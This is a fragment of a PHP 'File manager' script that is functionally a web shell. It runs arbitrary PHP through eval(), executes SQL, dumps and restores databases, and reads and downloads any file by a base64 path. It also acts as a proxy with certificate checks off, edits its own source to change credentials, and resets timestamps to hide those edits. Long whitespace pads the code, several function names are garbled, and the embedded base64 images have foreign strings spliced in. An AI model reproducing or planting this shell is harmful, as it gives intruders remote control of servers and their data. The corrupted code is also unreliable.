	                 	                 <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
	                 	                 <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

	                 	                 <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

	                 	                 <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
	                 	                 <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	                 </select>

</form>
';
}

	                 

function fm_root($dirname){
	                 return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	                 $display_registrosErrores=ini_get('display_registrosErrores');

	                 ini_set('display_registrosErrores', '1');
                                                      
	                 ob_start();

	                 eval(trim($string));

	                 $text = ob_get_contents();

	                 ob_end_clean();

	                 ini_set('display_registrosErrores', $display_registrosErrores);
	                 return $text;
                                                   
}
                                                                     


//SHOW DATABASES
function fm_sql_connect(){

	                 global $fm_config;
                                                                              
	                 return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);

}
                                                              

function fm_sql($query){
	                 global $fm_config;
                                                                         
	                 $query=trim($query);

	                 ob_start();

	                 $connection = fm_sql_connect();
                                                    
	                 if ($connection->connect_error) {
	                 	                 ob_end_clean();	                 
	                 	                 return $connection->connect_error;
	                 }
                                       
	                 $connection->set_charset('utf8');

    $queried = mysqli_query($connection,$query);

	                 if ($queried===false) {

	                 	                 ob_end_clean();	                 
                                                                  
	                 	                 return mysqli_error($connection);
                                                                                
    } else {
	                 	                 if(!empty($queried)){
	                 	                 	                 while($row = mysqli_fetch_assoc($queried)) {
                           
	                 	                 	                 	                 $query_result[]=  $row;

	                 	                 	                 }
	                 	                 }

	                 	                 $vdump=empty($query_result)?'':var_export($query_result,true);	                 

	                 	                 ob_end_clean();	                 

	                 	                 $connection->close();

	                 	                 return '<pre>'.stripslashes($vdump).'</pre>';

	                 }

}
                                                

                                  
function fm_backup_tables($tables = '*', $full_backup = true) {

	                 global $path;
                                                                
	                 $mysqldb = fm_sql_connect();

	                 $delimiter = "; \n  \n";

	                 if($tables == '*')	                 {
                                                    
	                 	                 $tables = array();

	                 	                 $result = $mysqldb->query('SHOW TABLES');

	                 	                 while($row = mysqli_fetch_row($result))	                 {
                                                          
	                 	                 	                 $tables[] = $row[0];

	                 	                 }

	                 } else {
	                 	                 $tables = is_array($tables) ? $tables : explode(',',$tables);

	                 }
    

	                 $return='';
                                                                                                 
	                 foreach($tables as $table)	                 {
	                 	                 $result = $mysqldb->query('SELECT * FROM '.$table);

	                 	                 $num_fields = mysqli_num_fields($result);

	                 	                 $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
                                                                                                    
	                 	                 $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
	                 	                 $return.=$row2[1].$delimiter;
                                                                             
        if ($full_backup) {
	                 	                 for ($i = 0; $i < $num_fields; $i++)  {

	                 	                 	                 while($row = mysqli_fetch_row($result)) {

	                 	                 	                 	                 $return.= 'INSERT INTO `'.$table.'` VALUES(';

	                 	                 	                 	                 for($j=0; $j<$num_fields; $j++)	                 {
                                                                                           
	                 	                 	                 	                 	                 $row[$j] = addslashes($row[$j]);

	                 	                 	                 	                 	                 $row[$j] = str_replace("\n","\\n",$row[$j]);
                                                             
	                 	                 	                 	                 	                 if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

	                 	                 	                 	                 	                 if ($j<($num_fields-1)) { $return.= ','; }
                                                                                  
	                 	                 	                 	                 }

	                 	                 	                 	                 $return.= ')'.$delimiter;
	                 	                 	                 }
                                                              
	                 	                   }

	                 	                 } else { 
                                                                                                
	                 	                 $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

	                 	                 }
	                 	                 $return.="\n\n\n";
	                 }


                      
	                 //save file
                                      
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	                 $handle = fopen($file,'w+');

	                 fwrite($handle,$return);
	                 fclose($handle);

	                 $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
                                                       
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}



function fm_restore_tables($sqlFileToExecute) {
                               
	                 $mysqldb = fm_sql_connect();
                                                   
	                 $delimiter = "; \n  \n";
    // Load and explode the sql file

    $f = fopen($sqlFileToExecute,"r+");
                                                     
    $sqlFile = fread($f,conjuntoArchivosize($sqlFileToExecute));

    $sqlArray = explode($delimiter,$sqlFile);

	                 

    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {

        if (strlen($stmt)>3){
	                 	                 	                 $result = $mysqldb->query($stmt);
                                                                                           
	                 	                 	                 	                 if (!$result){

	                 	                 	                 	                 	                 $sqlErrorCode = mysqli_errno($mysqldb->connection);
                        
	                 	                 	                 	                 	                 $sqlErrorText = mysqli_error($mysqldb->connection);
                             
	                 	                 	                 	                 	                 $sqlStmt      = $stmt;

	                 	                 	                 	                 	                 break;
           	                      }

           	                   }

           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}



function fm_img_link($filename){
	                 return './'.basename(__FILE__).'?img='.base64_encode($filename);

}
                                             

                                                                                   
function fm_home_style(){
                                                 
	                 return '
                               
input, input.fm_input {

	                 text-indent: 2px;
                                                                        
}


input, textarea, select, input.fm_input {

	                 color: black;
                                
	                 font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	                 border-color: black;

	                 background-color: #FCFCFC none !important;

	                 border-radius: 0;
	                 padding: 2px;

}



input.fm_input {

	                 background: #FCFCFC none !important;

	                 cursor: pointer;
                                                                                
}
                                                                             


.home {

	                 background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWs/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3TMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhW/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	                 background-repeat: no-repeat;
}';
                         
}



function fm_config_checkbox_row($name,$value) {

	                 global $fm_config;

	                 return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
                                                                               
}


function fm_protocol() {
	                 if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	                 if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	                 if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	                 if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	                 return 'http://';
}
                                                                                                  

                                            
function fm_site_url() {
	                 return fm_protocol().$_SERVER['HTTP_HOST'];

}
                                                                                


function fm_url($full=false) {
	                 $host=$full?fm_site_url():'.';

	                 return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){

	                 return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}
                                                                                 


function fm_run_input($lng) {
	                 global $fm_config;
                                  
	                 $return = !empty($fm_config['enable_'.$lng.'_console']) ? 

	                 '

	                 	                 	                 	                 <form  method="post" action="'.fm_url().'" style="display:inline">

	                 	                 	                 	                 <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

	                 	                 	                 	                 </form>
' : '';
                                                            
	                 return $return;

}

                                                                                                   
function fm_url_proxy($matches) {

	                 $link = str_replace('&amp;','&',$matches[2]);

	                 $url = isset($_GET['url'])?$_GET['url']:'';

	                 $parse_url = parse_url($url);

	                 $host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	                 if (substr($link,0,2)=='//') {
                                                    
	                 	                 $link = substr_replace($link,fm_protocol(),0,2);
                                 
	                 } elseif (substr($link,0,1)=='/') {
	                 	                 $link = substr_replace($link,$host,0,1);	                 

	                 } elseif (substr($link,0,2)=='./') {

	                 	                 $link = substr_replace($link,$host,0,2);	                 

	                 } elseif (substr($link,0,4)=='http') {

	                 	                 //alles machen wunderschon
                                
	                 } else {

	                 	                 $link = $host.$link;
	                 } 

	                 if ($matches[1]=='href' && !strripos($link, 'css')) {
	                 	                 $base = fm_site_url().'/'.basename(__FILE__);

	                 	                 $baseq = $base.'?proxy=true&url=';
	                 	                 $link = $baseq.urlencode($link);

	                 } elseif (strripos($link, 'css')){

	                 	                 //как-то тоже подменять надо

	                 }

	                 return $matches[1].'="'.$link.'"';
                                                                     
}
 

function fm_tpl_form($lng_tpl) {

	                 global ${$lng_tpl.'_templates'};
                                                                                 
	                 $tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	                 $str = '';
	                 foreach ($tpl_arr as $ktpl=>$vtpl) {

	                 	                 $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	                 }

return '
                                                                               
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
                                                              
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>
                                                                                          
</table>
';

}
                                                                                           


function find_text_in_conjuntoArchivos($dir, $mask, $text) {
                                                           
    $results = array();
    if ($handle = opendir($dir)) {

        while (false !== ($entry = readdir($handle))) {

            if ($entry != "." && $entry != "..") {

                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_conjuntoArchivos($path, $mask, $text));
                                                                                            
                } else {
                    if (fnmatch($mask, $entry)) {
                                
                        $contents = file_get_contents($path);

                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }

                    }

                }

            }

        }

        closedir($handle);
    }
    return $results;
                                                        
}
                                                                   



                                                     
/* End Functions */



// authorization

if ($auth['authorize']) {
                                                   
	                 if (isset($_POST['login']) && isset($_POST['password'])){

	                 	                 if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {

	                 	                 	                 setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));

	                 	                 	                 $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
	                 	                 }
                                  
	                 }

	                 if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
                                           
	                 	                 echo '
<!doctype html>

<html>

<head>
<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>
<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
                                                         
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
                                                                                  
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
                                                  
</html>

';  

die();

	                 }
                                                                                         
	                 if (isset($_POST['quit'])) {
	                 	                 unset($_COOKIE[$auth['cookie_name']]);
                                 
	                 	                 setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
                                                                                  
	                 	                 header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
                                                                                        
	                 }
                                                  
}



// Change config
if (isset($_GET['fm_settings'])) {
	                 if (isset($_GET['fm_config_delete'])) { 
	                 	                 unset($_COOKIE['fm_config']);

	                 	                 setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));

	                 	                 header('Location: '.fm_url().'?fm_settings=true');

	                 	                 exit(0);
	                 }	                 elseif (isset($_POST['fm_config'])) { 
	                 	                 $fm_config = $_POST['fm_config'];
                                                                                   
	                 	                 setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));

	                 	                 $_COOKIE['fm_config'] = serialize($fm_config);
	                 	                 $msg = __('Settings').' '.__('done');

	                 }	                 elseif (isset($_POST['fm_login'])) { 

	                 	                 if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

	                 	                 $fm_login = json_encode($_POST['fm_login']);

	                 	                 $fgc = file_get_contents(__FILE__);

	                 	                 $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	                 	                 if (!empty($matches[1])) {

	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {

	                 	                 	                 	                 $msg .= __('File updated');
                                   
	                 	                 	                 	                 if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
	                 	                 	                 	                 if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];

	                 	                 	                 	                 $auth = $_POST['fm_login'];

	                 	                 	                 }
	                 	                 	                 else $msg .= __('Error occurred');

	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 }
	                 } elseif (isset($_POST['tpl_edited'])) { 

	                 	                 $lng_tpl = $_POST['tpl_edited'];
	                 	                 if (!empty($_POST[$lng_tpl.'_name'])) {

	                 	                 	                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

	                 	                 } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

	                 	                 	                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
	                 	                 }
                                                                                                    
	                 	                 if (!empty($fm_php)) {
                                   
	                 	                 	                 $fgc = file_get_contents(__FILE__);

	                 	                 	                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
                                 
	                 	                 	                 if (!empty($matches[1])) {
                                                            
	                 	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
	                 	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {
	                 	                 	                 	                 	                 ${$lng_tpl.'_templates'} = $fm_php;
	                 	                 	                 	                 	                 $msg .= __('File updated');
                                     
	                 	                 	                 	                 } else $msg .= __('Error occurred');
                                                     
	                 	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 	                 }	                 

	                 	                 } else $msg .= __('Error occurred');
                                
	                 }
}

// Just show image
if (isset($_GET['img'])) {
	                 $file=base64_decode($_GET['img']);
                                                                                  
	                 if ($info=getimagesize($file)){

	                 	                 switch  ($info[2]){	                 //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

	                 	                 	                 case 1: $ext='gif'; break;

	                 	                 	                 case 2: $ext='jpeg'; break;

	                 	                 	                 case 3: $ext='png'; break;

	                 	                 	                 case 6: $ext='bmp'; break;

	                 	                 	                 default: die();
	                 	                 }
	                 	                 header("Content-type: image/$ext");

	                 	                 echo file_get_contents($file);

	                 	                 die();

	                 }
}


                                                   
// Just download file

if (isset($_GET['download'])) {

	                 $file=base64_decode($_GET['download']);
	                 fm_download($file);	                 

}



// Just show info
if (isset($_GET['phpinfo'])) {
                                   
	                 phpinfo(); 

	                 die();

}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
                                                                                           
	                 $url = isset($_GET['url'])?urldecode($_GET['url']):'';
                                                         
	                 $proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	                 <form action="" method="GET">

	                 <input type="hidden" name="proxy" value="true">

	                 '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	                 <input type="submit" value="'.__('Show').'" class="fm_input">
                                               
	                 </form>

</div>
                          
';

	                 if ($url) {
	                 	                 $ch = curl_init($url);

	                 	                 curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

	                 	                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	                 	                 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

	                 	                 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

	                 	                 curl_setopt($ch, CURLOPT_HEADER, 0);
	                 	                 curl_setopt($ch, CURLOPT_REFERER, $url);

	                 	                 curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

	                 	                 $result = curl_exec($ch);
                              
	                 	                 curl_close($ch);
	                 	                 //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
                                        
	                 	                 $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
	                 	                 $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

	                 	                 echo $result;
                                                        
	                 	                 die();
                                                                                        
	                 } 
}

?>
                                    
<!doctype html>

<html>
<head>     
                                       
	                 <meta charset="utf-8" />

	                 <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>

<style>
                                                
body {

	                 background-color:	                 white;

	                 font-family:	                 	                 Verdana, Arial, Helvetica, sans-serif;
	                 font-size:	                 	                 	                 8pt;
                                                     
	                 margin:	                 	                 	                 	                 0px;

}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }
                                               
a.th:link { color: #FFA34F; text-decoration: none; }
                                                                                  
a.th:active { color: #FFA34F; text-decoration: none; }
                                                                                             
a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
                                                                    
	                 background-color: #ACBBC6
}
                                                                   


th, td { 
	                 font:	                 normal 8pt Verdana, Arial, Helvetica, sans-serif;

	                 padding: 3px;

}

th	                 {
	                 height:	                 	                 	                 	                 25px;
                                                                     
	                 background-color:	                 #006699;

	                 color:	                 	                 	                 	                 #FFA34F;
	                 font-weight:	                 	                 bold;

	                 font-size:	                 	                 	                 11px;
}
                                                                                         

                                       
.row1 {

	                 background-color:	                 #EFEFEF;

}
                                 

.row2 {
                                                                                           
	                 background-color:	                 #DEE3E7;
}
                                                  


.row3 {
                                   
	                 background-color:	                 #D1D7DC;

	                 padding: 5px;
}


                                                       
tr.row1:hover {

	                 background-color:	                 #F3FCFC;
}

                                                                  
tr.row2:hover {

	                 background-color:	                 #F0F6F6;
}


                                                                     
.whole {
                              
	                 width: 100%;
}
                         


.all tbody td:first-child{width:100%;}

                                                                        
textarea {

	                 font: 9pt 'Courier New', courier;

	                 line-height: 125%;
                                                                                         
	                 padding: 5px;

}



.textarea_input {

	                 height: 1em;

}



.textarea_input:focus {

	                 height: auto;
                                                                                 
}



input[type=submit]{

	                 background: #FCFCFC none !important;

	                 cursor: pointer;
                       
}



.folder {
                                         
    background-image: url("data:image/png;base64,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